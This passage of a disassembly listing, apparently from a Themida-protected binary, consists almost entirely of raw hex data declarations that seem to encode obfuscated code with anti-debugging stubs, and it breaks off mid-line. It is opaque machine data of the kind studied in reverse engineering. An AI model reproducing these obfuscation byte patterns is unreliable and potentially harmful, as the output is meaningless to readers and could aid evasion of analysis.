0B1EA8B5Dh, 8589A418h, 7E4272Dh, 0E804E180h, 10h, 884C3E5h dd 5E7F353Bh, 0DED69E83h, 0D893476Ah, 2BF9BD89h, 0A5B07E4h dd 0E8840FC9h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 1824C351h, 0F95BA0A1h dd 0C1BD89C3h, 8B07E401h, 0E4065185h, 0BD8B6007h, 7E4322Dh dd 21A18D8Bh, 336107E4h, 0E4202985h, 8B509007h, 8B6690FAh dd 1751BBDFh, 6A0CC7h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 5EC35747h, 7D99336h, 2BADB633h, 37BF66F8h dd 61D86867h, 34813249h, 56622724h, 10E832h, 6C6B0000h dd 0EB45899Eh, 1B86A754h, 0AF65460Eh, 0FF5FCAFCh, 0E42D9995h dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 9501C586h, 7E42DFDh, 0A58589F8h, 0E807E7F8h dd 9, 0EE44DA86h, 0C135BD32h, 0DF8166CFh, 0E95B7341h, 1E8h dd 8BDBBF0Fh, 0E7F89D85h, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 0FE4D73Dh dd 0C7DAB7h, 18h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 0F1C35343h, 89428362h, 0E423E5BDh, 499D8B07h, 6007E424h dd 0D1B70FF8h, 0A1B58B61h, 0F07E7F8h, 786h, 2EBF5000h dd 5F0DF4DCh, 99858Bh, 820F07E4h, 0 dd 858B0689h, 7E40651h, 0DFD9D8Bh, 468907E4h, 53006A04h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 41274C56h, 20D9D2B8h, 9D8B3011h, 7E431E9h, 30BB5750h dd 5F1784A2h, 2B243489h, 0E424599Dh, 9DB5FF07h, 6A07E7F8h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 7C3AC353h, 275044F4h, 2B992BC5h, 0E40B15BDh dd 4E807h, 3FF0000h, 0FB8B001Fh, 7BBB6650h, 24448B77h dd 14E804h, 2FEF0000h, 5C1381E9h, 5809CDC8h, 0C004DD27h dd 0E35F8B90h, 0F524CD3h, 88h, 8B5F5B00h, 0DA8B6600h, 4244489h dd 11E9h, 0F6020C00h, 0F3D1F8A5h, 0CDA63D07h, 5250A9A7h dd 6A581333h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 0AC21C350h, 0FC628077h, 8B62998Fh dd 0E41E75BDh, 0A5858D07h, 8907E7F8h, 0E40B5585h, 52509007h dd 28A0Fh, 69B70000h, 880F310Fh, 2, 585A6160h, 8E950h dd 5A0000h, 4D5D51DCh, 81904F1Bh, 77EC9CDBh, 2E06BB3Dh dd 95FF2282h, 7E42D99h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 66C35747h, 4A2A6800h, 619D8BB8h, 0FC07E400h dd 14E961h, 0AE740000h, 0B885454Bh, 874B80D6h, 4E937DF3h dd 4C64DCC5h, 85C7344Dh, 7E422B9h, 3, 0A5BD83FCh, 7E7F8h dd 2D840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 1487D6C3h, 0F9A4B788h, 21E9h, 0BF0F6000h dd 5061F5C0h, 110C30h, 0C1011144h, 443010E8h, 4C000211h dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h dd 0EBE775h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 92921C3h, 0F1E5E19Ch, 2906C06Ah dd 0E41B4985h, 99858907h, 6A07E40Eh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0E8A7C357h dd 8384401Ah, 0E422B9BDh, 850F0307h, 449h, 128D8D89h, 0BD8307E4h dd 7E7F8A5h, 36840F00h, 0FF000004h, 0E7F8A5B5h, 52006A07h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 6C13D118h, 0E96DC286h, 8, 7119BEA8h, 8E8C9684h, 44D95FFh dd 0F38007E4h, 859D2B42h, 8B07E401h, 0E7F899B5h, 53006A07h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 0BD0B4C98h, 7E40E5Dh, 106C7h, 0BD8B0001h, 7E40121h dd 0E8525050h, 11h, 31505EBAh, 8AAB1A55h, 0E5F38F76h, 1B7861BBh dd 5BF98BC8h, 0AE9310Fh, 21000000h, 231FF3E9h, 5EFC83C4h dd 89585A62h, 0C2BF2434h, 0FF7CD8DEh, 0E7F8A5B5h, 57006A07h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 1741ECB2h, 79849222h, 0BD29CE75h, 7E4199Dh, 2A0995FFh dd 6A07E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 0B7FBCCC3h, 441AA4F1h, 0BE8h, 74F1E700h dd 0E879E1E8h, 3D85388Ch, 31818D89h, 8B5F07E4h, 0E7F899B5h dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 0FDF8B1Fh, 858BDEBFh, 7E43165h, 0DE8h, 6102E00h dd 1EBF4678h, 268BC9A4h, 57B35D0Dh, 0C486895Fh, 81000000h dd 76325DDFh, 0BDBD8B0Dh, 8B07E402h, 0E41B7195h, 178D0F07h dd 0E9000000h, 12h, 0E27443D4h, 0DD86677h, 7996EB4Fh, 9BF7A6C7h dd 0C28341DFh, 5089F804h, 53006A20h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0B287548Bh dd 502A6ECAh, 89516DEDh, 0E414B995h, 858D5F07h, 7E80CD4h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 4EC35242h dd 0FC14829h, 8689F9BFh, 0B8h, 0FFD78166h, 0BF006A24h dd 45CFF97Dh, 0F8A5B5FFh, 6A07E7h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 0F248A4C3h, 890A61DDh dd 0E41AD585h, 0AD95FF07h, 6A07E431h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0B8C1C353h dd 0BBABEB52h, 259A1EB8h, 7E96050h, 0D9000000h, 8DDB95D0h dd 0E95282F1h, 10h, 7ED2E721h, 0C307A9A4h, 0FB9D37EEh dd 8B2FE106h, 3489615Fh, 11D38124h, 0FF283B6Dh, 0E7F8A5B5h dd 8D858907h, 0FF07E421h, 0E41B1195h, 57006A07h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 12D6BA54h, 0FCB83E1h, 68Ah, 0D19D2300h, 8307E406h, 0E40DF9BDh dd 840F0007h, 83h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 6EC35747h, 47977508h, 68B0Fh, 9D890000h dd 7E42D4Dh, 0B898589h, 509607E4h, 66525060h, 310FC88Bh dd 585A6160h, 0CE9h, 1AB6700h, 43D38833h, 0AC528BE5h, 6A96617Eh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 5360C356h, 999D892Ah, 0F07E406h, 685h, 0F1BD8B00h dd 0FF07E418h, 0E7F8A5B5h, 51950107h, 8B07E42Dh, 0E4246DBDh dd 7D95FF07h, 8B07E402h, 0E415899Dh, 0A5B5FF07h, 8A07E7F8h dd 7195FFF9h, 6A07E409h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 96E2C353h, 10E9h, 7007D000h dd 7B356F1Ch, 19778B88h, 61A4B608h, 21BD8313h, 207E40Ah dd 5F840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 8BE93FC3h, 0E41EB585h, 53006A07h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 9D0308C9h, 7E43235h, 0FDAB70Fh, 0C6FABFh, 0BE900h, 12AC0000h dd 5054464Fh, 64032B17h, 7185C7C5h, 7E426h, 8B000000h dd 0E405ADBDh, 0F345E907h, 8E0FFFFFh, 6, 51BD8Bh, 0C18B07E4h dd 13E8h, 0BC90BB00h, 0A108DA72h, 5D8D8F30h, 58810C51h dd 4229782Fh, 199BD89h, 8D5F07E4h, 0E40D8585h, 55006A07h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 9E850D2h, 6D000000h, 0D3FE5D88h, 0D91E5A79h, 0CE14BB66h dd 2404895Fh, 5FD88B52h, 6A006Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 685B01C3h, 44F340BFh dd 25BD8B21h, 6A07E425h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 5C16E28Dh, 1A05167Dh dd 43858D3Bh, 8307E95Fh, 6A05C0h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1C0424h, 51410000h, 0DE12B5C3h, 85176A4Eh dd 870F2972h, 0Fh, 0AE9h, 6191B100h, 0FC297AF6h, 8BC5BEBCh dd 820F50FBh, 28h, 10E8h, 0A3B98200h, 483859ACh, 2CEE9686h dd 9131D4ABh, 0DE9E1h, 0ECCA0000h, 3E2865B9h, 5CAB744Ah dd 5BF02560h, 6A240489h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0E9F5C355h dd 0CB81174Fh, 3666BAh, 61EB8166h, 8B006A9Eh, 0E40401BDh dd 0F006A07h, 95FFFBBFh, 7E42471h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 26C35545h, 0B9A0C34h, 8E35E808h dd 0D64B8D8Dh, 830F07E7h, 4, 2E88BF66h, 0FE8BD1FFh, 0C3DB8166h dd 15BD8344h, 107E420h, 0BC850Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 49BD9EC3h dd 0C781CA41h, 18D40BF7h, 6A026Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 575AF8C3h, 36C0BB66h dd 9E9h, 0F709B200h, 26269204h, 50503BF2h, 0FDD8A52h, 0F88B6631h dd 489585Ah, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 3D852916h, 0FF07E40Bh, 0E431AD95h dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 4A832AD3h, 0ABAF2A07h, 9D23BE09h, 7E41B79h dd 79E938B7h, 0E800000Dh, 0 aBam_sJ db ']νM_ι',7,'j',0 db 50h, 0E8h, 3 dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 589FC350h, 0A0B7F46Dh, 6A6291h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 0FD1DB0C3h, 0E1858D3Fh dd 6A07E7C6h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 0C1B5C351h, 0F299FF4Fh, 5360D984h dd 850Fh, 665B0000h, 4728F281h, 52509061h, 310FDA8Bh, 609DB560h dd 585A6161h, 6A9050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 0FF643BC3h, 35h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 0C0897329h, 9529B02Fh, 7E42349h, 258964h, 0FF000000h dd 0E420B985h, 0F98D0907h, 6A07E42Bh, 0A59D2BFFh, 0FF07E409h dd 0E40635B5h, 359D2307h, 0FF07E40Dh, 0E4304D95h, 10CE907h dd 0BD890000h, 7E41E01h, 8B6600B0h, 3599BFD8h, 70E6378Ah dd 6820Fh, 8D890000h, 7E41ED5h, 9D8B71E4h, 7E43029h, 218D9D0Bh dd 613C07E4h, 0D8830Fh, 0E7810000h, 33DB0BC1h, 6820Fh dd 9D290000h, 7E4258Dh, 0FC8B60Fh, 9D8BF9B7h, 7E40111h dd 6BAh, 8BA9B700h, 0E8C1FCC1h, 41BD2904h, 3307E426h, 0E415C9BDh dd 0E2F76607h, 0E69BD89h, 0C82B07E4h, 52D18BFCh, 21019D89h dd 15F07E4h, 0E427959Dh, 80E907h, 9D290000h, 7E4300Dh dd 0AA1BD23h, 858B07E4h, 505F4C4Ch, 8B07C083h, 0E41FE1BDh dd 0C08307h, 4EEF8166h, 0FD03BC4h, 1683h, 0CD9D8900h, 0E907E419h dd 4Ah, 5BBA6660h, 0E27EBFFBh, 8B6125FAh, 0FFFFFF8Dh, 96BF66FFh dd 1E183E6h, 2C840Fh, 9D8B0000h, 7E40FA1h, 1998589h, 0A58307E4h dd 0FFFFFFFFh, 0E19589FEh, 8907E419h, 5F4C4C95h, 0C58D8950h dd 8A07E421h, 0E9FAh, 0B58D0000h, 7E8D9D7h, 108E0Fh, 0BE90000h dd 0A1000000h, 7C00BAF6h, 68206FAh, 0BF66955Ah, 6A1FC9h dd 0E4195FFh, 9D8B07E4h, 7E423B5h, 5E8h, 8465AD00h, 8529A83Ah dd 7E41FCDh, 1037B95Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 0BA6306C3h, 3EE13EBh dd 0E426B9BDh, 9BD8B07h, 8307E41Fh, 6AFCE1h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 9DB42CC3h dd 669453EAh, 77A9BB6Fh, 0E9FC0622h, 0Ah, 2054ED3h, 777BEAF5h dd 0B8DC89h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 33CDC351h, 9DBD8BF4h dd 2B07E402h, 51006AD2h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 0CF565E08h, 0F80DA368h, 8A0FFA69h dd 1Ah, 12E8h, 0EF2AC700h, 5961AA80h, 0ACC1C05Bh, 0C18F3497h dd 0B7064661h, 33AD5B54h, 3E8D1C2h, 4E983D0h, 6AF475h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 2DD69FC3h, 0BF158619h, 97791BBh, 28C0Fh, 0FE8B0000h dd 880Dh, 6D9D8B00h, 8B07E42Bh, 0E41B7195h, 55006A07h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 8B60ADDBh, 0E402719Dh, 11E907h, 0CC430000h, 0C27DF0ACh dd 0FC6D9072h, 0A1282E00h, 6121CDD0h, 5FD98B51h, 2DA18D8Bh dd 8B5007E4h, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h dd 68E0Fh, 0CB810000h, 65454F51h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 21C35141h, 82C4F4FCh, 0A7BBB34Ch dd 0EE816660h, 816626BEh, 61C0FEC8h, 83FFBF0Fh, 0E40611BDh dd 840F0007h, 72h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 0A9C35545h, 0CCFEBB18h, 0B86963h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 5881C350h, 6629782Fh, 13D1C381h, 5659D8Bh dd 0F3BF07E4h, 8D7EB0EFh, 0E44FE78Dh, 89FE8B07h, 0E415859Dh dd 66E1FF07h, 0F5ADE781h, 701BD8Bh, 0BD8307E4h, 7E422B9h dd 13840F00h, 9000004h, 0E40B3D95h, 7E907h, 57800000h dd 0E22AF003h, 0B9BD839Dh, 107E422h, 40F840Fh, 95290000h dd 7E41B79h, 22B9BD83h, 0F0307E4h, 3C686h, 0DA7BF00h, 6A606BE7h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 0E0A9C350h, 2781B57Bh, 9589BBBCh, 7E400D1h dd 6AD98C66h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 2BCCC350h, 0E41D61BDh, 0F5B5307h dd 389h, 0F9B70F00h, 8B04E180h, 0FC90AD9h, 0E084h, 51858B00h dd 8B07E406h, 0E400899Dh, 29853307h, 2907E420h, 0E409F18Dh dd 0F605007h, 0E85h, 9E900h, 78E90000h, 51DD6253h, 5056538Ch dd 0FFA8B52h, 5AADB131h, 4896158h, 57006A24h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 0EA806070h dd 7914B814h, 8B610F6Ah, 0E42225BDh, 8B006A07h, 0E41C459Dh dd 0DDF26807h, 0CBB6CA6h, 8120BFA2h, 0DE0D2434h, 840F6CB9h dd 0Ch, 6840Fh, 890F0000h, 0 dd 2D9995FFh, 858907E4h, 7E7F8A5h, 6890F60h, 8B000000h dd 0E40ABDB5h, 9DBD8B07h, 6107E400h, 20AE9h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 0B6AA8F37h, 8B7D1E96h, 0E408FD9Dh, 9D858B07h, 0BF07E7F8h dd 7F1B3B31h, 1800C7h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 0E4D8D7C3h, 1E78EE2Ah dd 0D1BD2BEFh, 8907E421h, 0E4185185h, 0A1B58B07h, 0F07E7F8h dd 585h, 4733BB00h, 10B76FE1h, 99858Bh, 958907E4h, 7E423DDh dd 858B0689h, 7E40651h, 4689FC8Ah, 51006A04h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 96A03CBFh dd 5BF98A57h, 0DA8B5750h, 0C381965Fh, 7810E161h, 7E9h dd 98E20700h, 1027F571h, 0F89DB5FFh, 6A07E7h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 47710C3h dd 0D8E7F712h, 8B3B3254h, 0E402299Dh, 219D0B07h, 0E807E42Ah dd 4, 1F03FFh, 12E9h, 26BD7D00h, 0EE3C0D9Fh, 0ABAA0FAh dd 0C2F8E0B0h, 5050905Fh, 23D7BF66h, 424448Bh, 983EBB66h dd 4489008Bh, 0F510424h, 58Eh, 90DABF00h, 585B46F7h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 52C35646h, 7E8656Bh dd 0CB000000h, 0CA4C0B3Eh, 820FECF8h, 6, 52D9589h, 8D5F07E4h dd 0E7F8A585h, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 665FE892h, 6A0BCCB0h dd 909FB3E2h, 58D0Fh, 2CBF0000h, 50666AA0h, 13E8h, 28807D00h dd 3A52E133h, 0D7DE8DF6h, 3D6B4A8Fh, 418C3FA2h, 905F66B3h dd 3880Fh, 8B660000h, 0C18D31FEh, 0FF07E42Fh, 0E42D9995h dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 94468F23h, 614F68CBh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 15h, 6AC35747h, 68B0F1Eh, 8B000000h dd 0E424F5BDh, 6D9D2907h, 907E41Ah, 0E408F1BDh, 0B985C707h dd 307E422h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 9989C350h, 68AC2494h dd 0D9BF0F16h, 0F8A5BD83h, 0F0007E7h, 2684h, 3CE900h, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 8D7CE9C3h, 50F820FCh, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 0B70FC08Bh, 50006AF8h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 9FCEEC31h dd 22B9BD83h, 0F0307E4h, 41E85h, 319D8900h, 8307E426h dd 0E7F8A5BDh, 840F0007h, 40Bh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 8EC35545h, 89F72D1Ch, 0E42C29BDh dd 0A5B5FF07h, 6A07E7F8h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 22E9C352h, 636F7A64h dd 0EE9ADh, 0CCFC0000h, 6BFA3B37h, 6DCF818Dh, 0C8D57C51h dd 44D95FFh, 6A07E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 0D9DAEDC3h, 0BF7006D8h, 18AC3365h dd 1B29B589h, 0B58B07E4h, 7E7F899h, 20F19D8Bh, 6C707E4h dd 10001h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 0F8C35141h, 69B58971h, 5007E418h, 3489DF8Bh, 52006A24h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 694CC070h, 3E4EEA66h, 0B5FF87B3h, 7E7F8A5h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0EC35545h, 0FC7A7B8Fh dd 1B599D8Bh, 95FF07E4h, 7E42A09h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 15h, 0CEC35747h, 99B58B36h, 6A07E7F8h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 0AD8BC352h, 26D8F9EEh, 860F50CCh, 6, 1DF99529h dd 565F07E4h, 0A419D0Bh, 8B5F07E4h, 0E4316585h, 6840F07h dd 3000000h, 0E42A35BDh, 0C4868907h, 89000000h, 0E423099Dh dd 9DBD8B07h, 8B07E42Bh, 0E41B7195h, 0D3816607h, 0C283910Dh dd 0C19D8B04h, 8907E41Eh, 9D2B2050h, 7E42039h, 0CD4858Dh dd 6A07E8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 6186ADC3h, 59D99D5Dh, 81AEF763h, 236508DFh dd 0B8868917h, 8B000000h, 0E420E9BDh, 8B006A07h, 0E423E99Dh dd 0A5B5FF07h, 6A07E7F8h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 7C9C355h, 0A2B5A2A3h dd 0E8DF8B87h, 5, 441EDF32h, 5BF88AE2h, 95FFF88Bh, 7E431ADh dd 21C5DF81h, 50964996h, 56006A96h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 34DAD632h, 0E49D3600h dd 5559BF66h, 1CC5BD8Bh, 0B5FF07E4h, 7E7F8A5h, 2C5D8589h dd 95FF07E4h, 7E41B11h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 0BDC35747h, 9665657h, 0BD838E23h, 7E40DF9h dd 4E840F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 0D7A4C357h, 96752945h dd 310F5250h, 585AD88Bh, 6A9650h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 8BD28FC3h, 0E41E299Dh dd 0A5B5FF07h, 0F07E7F8h, 180h, 0EE9F900h, 80000000h, 2B8B5C44h dd 0DFEB86F7h, 9DA8C8D1h, 7D95FF36h, 6607E402h, 0FFA23ABFh dd 0E7F8A5B5h, 57006A07h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 5E600F84h, 9BCC203Eh dd 0EE952h, 82D10000h, 4937BA97h, 0D6A9F5BBh, 0CD1F7DC7h dd 95FFFE8Ah, 7E40971h, 8E9h, 41CE3600h, 0C67310E1h, 21BD8367h dd 207E40Ah, 60840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 190424h, 52420000h, 4C6852C3h, 29647691h dd 0E41B4195h, 0B5858B07h, 6A07E41Eh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 165DC351h dd 31BD1625h, 0AB75BB98h, 0BD890155h, 7E41595h, 0F0000C6h dd 85C7DFB7h, 7E42671h, 0 dd 0AE9h, 5271000h, 14336D91h, 0E90EA5B4h, 0FFFFF3AFh dd 13810Fh, 0EE90000h, 62000000h, 0F0CFEECBh, 0EAFA5806h dd 25F42B6Ah, 0E8C18B1Ch, 10h, 6E2A6412h, 0CBC7044Ah, 5769CF5Dh dd 30E161A2h, 5F1FC780h, 0D85858Dh, 6A07E4h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 323B2FC3h dd 0E950F9A8h, 11h, 8773FFA9h, 48F5786Bh, 0B0A53E5Dh, 0CD634F75h dd 24048902h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 45C35040h, 47A7CBA1h, 8B651C46h, 0E420259Dh, 48BB6607h dd 8B006AFEh, 6A006AD8h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 8D5AC355h, 0E96E8885h dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 5E189BE2h, 8B66F8A6h, 5C083F8h, 50FABF0Fh dd 489FD8Ah, 0D4C78124h, 6A559A92h, 14E800h, 8E420000h dd 61C79BDh, 1ACE01CCh, 6C5A7736h, 552D1A5Fh, 11E971EEh dd 29000000h, 0F0E4EE1Eh, 0D03A5C45h, 0F6F1994Ch, 77CCBC4Ah dd 0FF006A5Bh, 0E4247195h, 51006A07h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0BB66C34Dh dd 0B589AC86h, 7E40065h, 0D64B8D8Dh, 0D1FF07E7h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0B4C35545h, 5E8A2h dd 4CE90000h, 35D8A20h, 0E41BC19Dh, 0BD835B07h, 7E42015h dd 58850F01h, 80000000h, 26AE1C7h, 126DB589h, 509007E4h dd 0BF505250h, 5C54CA3Ah, 60310F5Bh, 6325CAB9h, 0DFD9BF45h dd 5A6112C7h, 6A9058h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 7E30CAC3h, 79DBE17Ah, 13B1BD8Bh dd 95FF07E4h, 7E431ADh, 0E99DC780h, 0E54h, 0E8h, 0ED815D00h dd 7E96E92h, 8FE54BBh, 0D19D8B1Bh, 6A07E429h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 888C351h, 81C014DFh, 0B7F8D0DFh, 0E1858D14h, 3107E7C6h dd 0E42219BDh, 13E99007h, 2E000000h, 85DDAE2Eh, 0EA474BC0h dd 0F5162D95h, 0D97C35A6h, 9050ADDAh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 0D1C35040h, 40CE076Eh, 0F725BF28h dd 8B6075ADh, 0E4127D8Dh, 81BD8907h, 6107E419h, 35FF64h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 80C2C355h, 896421CFh, 25h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 71C02BA6h, 85FF6E0Dh, 7E420B9h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 65C35646h, 0F88AB34Dh, 6AFF6Ah dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 57B222C3h, 0A5EE4105h, 56BA3FA0h, 34A4BF66h, 15B5FF5Fh dd 6A07E40Eh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 7CA2C350h, 0FF5EBB1Ch, 0E4304D95h dd 10EE907h, 33BF0000h, 0B058C725h, 11858900h, 0E607E40Eh dd 0E3816670h, 71E43AC3h, 3CFEB70Fh, 0ED830F61h, 66000000h dd 0F9636BBh, 6BAC8B6h, 8B000000h, 12BB66C1h, 4E8C1DEh dd 0BE9h, 0CE06FE00h, 0D07C3611h, 5003F71Eh, 52E2F766h dd 0EB7B5BFh, 0C82B5F47h, 0E699D8Bh, 0D18B07E4h, 95895251h dd 7E42C29h, 0A5E95F5Fh, 66000000h, 8B5D69BBh, 47554C85h dd 0F9BF6649h, 7C083BBh, 19CDBD8Bh, 0C08307E4h, 68E0F00h dd 8B000000h, 0E413899Dh, 0FD03B07h, 2483h, 5E900h, 4EDB0000h dd 0F79BB1Dh, 58Fh, 0DF816600h, 5DE92F7Fh, 0F000000h dword_5D9534 dd 48Ah, 0DBF6600h, 0FF8D8BC9h, 0F5FFFFFFh, 3840Fh, 8B660000h ; DATA XREF: Themida_:005850E4o dd 1E183DFh, 3A840Fh, 8D0F0000h, 6, 20219D8Bh, 0A58307E4h dd 0FFFFFFFFh, 0DE8FEh, 1FD80000h, 0A01546BEh, 278E4C0Fh dd 31FB9BE3h, 0E41C999Dh, 95895F07h, 4947554Ch, 0E9FE8B66h dd 0 dd 0EA0EB58Dh, 6A07E8h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 0D89853C3h, 0D380E8FFh, 619D8B33h dd 6A07E40Bh, 0A9BB6600h, 4195FF33h, 0F07E40Eh, 0D1B9FBB7h dd 